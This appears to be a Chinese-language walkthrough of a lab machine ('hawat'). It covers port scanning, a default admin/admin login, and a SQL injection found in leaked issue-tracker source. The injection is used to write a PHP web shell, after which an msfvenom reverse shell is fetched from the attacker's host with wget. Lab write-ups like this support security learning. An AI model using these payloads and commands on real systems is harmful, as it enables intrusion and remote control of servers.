先看看靶機上有甚麼唷!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.198.147 -type recon;
Port 30445 路徑爆破結果
在 http://hawat:17445/ 我們發現了一個網站 看起來很像做 bug report 的留言板
試著登入看看 http://hawat:17445/login
試過幾組 default 的帳號密碼後 無法順利登入
試看看能不能註冊
http://hawat:17445/user/list 註冊完後看起來沒甚麼有趣的
Port 17445 先這樣吧~
我們來看看 Port 50080 這邊看起來是一個餐廳的首頁 http://hawat:50080/index.html#
這邊如果用剛剛掃描的腳本做路徑爆破,在 50080上應該可以看到一個 cloud的路徑 (但因為我沒截到圖…)
在這邊會發現一個登入畫面 http://hawat:50080/cloud/index.php/login
讓我們試看看基本的帳號密碼 admin/ admin
沒想到很順利的登入了他的 dashboard (http://hawat:50080/cloud/index.php/apps/dashboard/ )
這邊看起來最有趣的就是那個 issuetracker.zip
看起來跟 port 17445 上的服務有關 把它下載下來
打開後你會看到非常多筆 source code 裡面我們最有興趣的只有 IssueController.java 這支
在這支 code 裡面 這段 method 明白的跟你指出因為 priority 沒有做任何過濾,所以這邊會有 SQL injection 的問題
那我們再看看其他有趣的資訊
好 現在回到 Port 17445 就是那個有issue tracker 的網站
http://hawat:17445/issue/checkByPriority
我們試著用 burpsuite 攔截 packet 然後發現是 Code 405 代表我們要去改變傳送的方法 Get 改成 Post
送出以後 我們得到另外一個 error code 400, bad request
現在我們要來加上剛剛找到的 priority 參數
送出後 順利拿回 response
但這邊我們只完成一半, 我們要的是一個 reverse shell
而一個好的 SQL Injection 應該要能提供一個 reverse shell 但是我們要先知道我們要把 shell code 寫去哪裡
還記的一開始的掃描嗎 我們可以在 Port 30445 上面找到 document root 這是這個網站的根目錄 我們要把 shell code 寫去那邊
http://hawat:30455/phpinfo.php
我們利用 Burpsuite 的 repeater 去 inject SQL 語法 幫助我們寫一個 web shell 到根目錄
' UNION SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/srv/http/cmd.php" -- //
Got it! web shell 順利執行成功
http://hawat:30455/cmd.php?cmd=whoami
接著我們來產生一個 PHP的 reverse shell 並且上傳到根目錄
msfvenom -p php/reverse_php LHOST=192.168.45.224 LPORT=443 -f raw -o rShell.php
http://hawat:30455/cmd2.php?cmd=wget%20http://192.168.45.224:17445/rShell.php%20-O%20rShell3.php
在 Kali上設定好監聽 接著執行我們的 PHP reverse shell!
http://hawat:30455/rShell3.php
Great! 順利拿到互動式 shell 與 flag
打完收工!